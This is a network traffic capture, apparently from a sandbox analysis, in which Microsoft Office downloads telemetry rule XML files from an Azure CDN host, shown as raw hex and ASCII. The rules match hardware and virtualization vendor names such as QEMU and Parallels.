4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075705Z-174f784596886s2bhC1EWR743w0000000y5g000000006au6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:05 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:05 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075705Z-174f78459688l8rvhC1EWRtzr00000000at0000000003ben x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:06 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:06 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: fd79bfa2-c01e-0079-5434-41e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075706Z-174f7845968cpnpfhC1EWR3afc0000000xvg000000001qe8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:57:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:07 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075707Z-174f78459685m244hC1EWRgp2c0000000xy0000000007869 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075708Z-174f7845968xr5c2hC1EWRd0hn0000000ewg00000000cudd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:07 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075708Z-174f784596886s2bhC1EWR743w0000000y8g000000001gvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:07 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075708Z-174f7845968xr5c2hC1EWRd0hn0000000f1g000000002vaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:09 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075709Z-174f78459685m244hC1EWRgp2c0000000xx000000000a9z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:09 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075710Z-174f7845968swgbqhC1EWRmnb40000000ycg00000000152g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:10 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 704560f5-901e-0067-514e-41b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075710Z-174f7845968xr5c2hC1EWRd0hn0000000ex000000000an51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:10 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075710Z-174f7845968glpgnhC1EWR7uec0000000ycg0000000010n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075711Z-174f7845968vqt9xhC1EWRgten0000000y6g000000004sam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
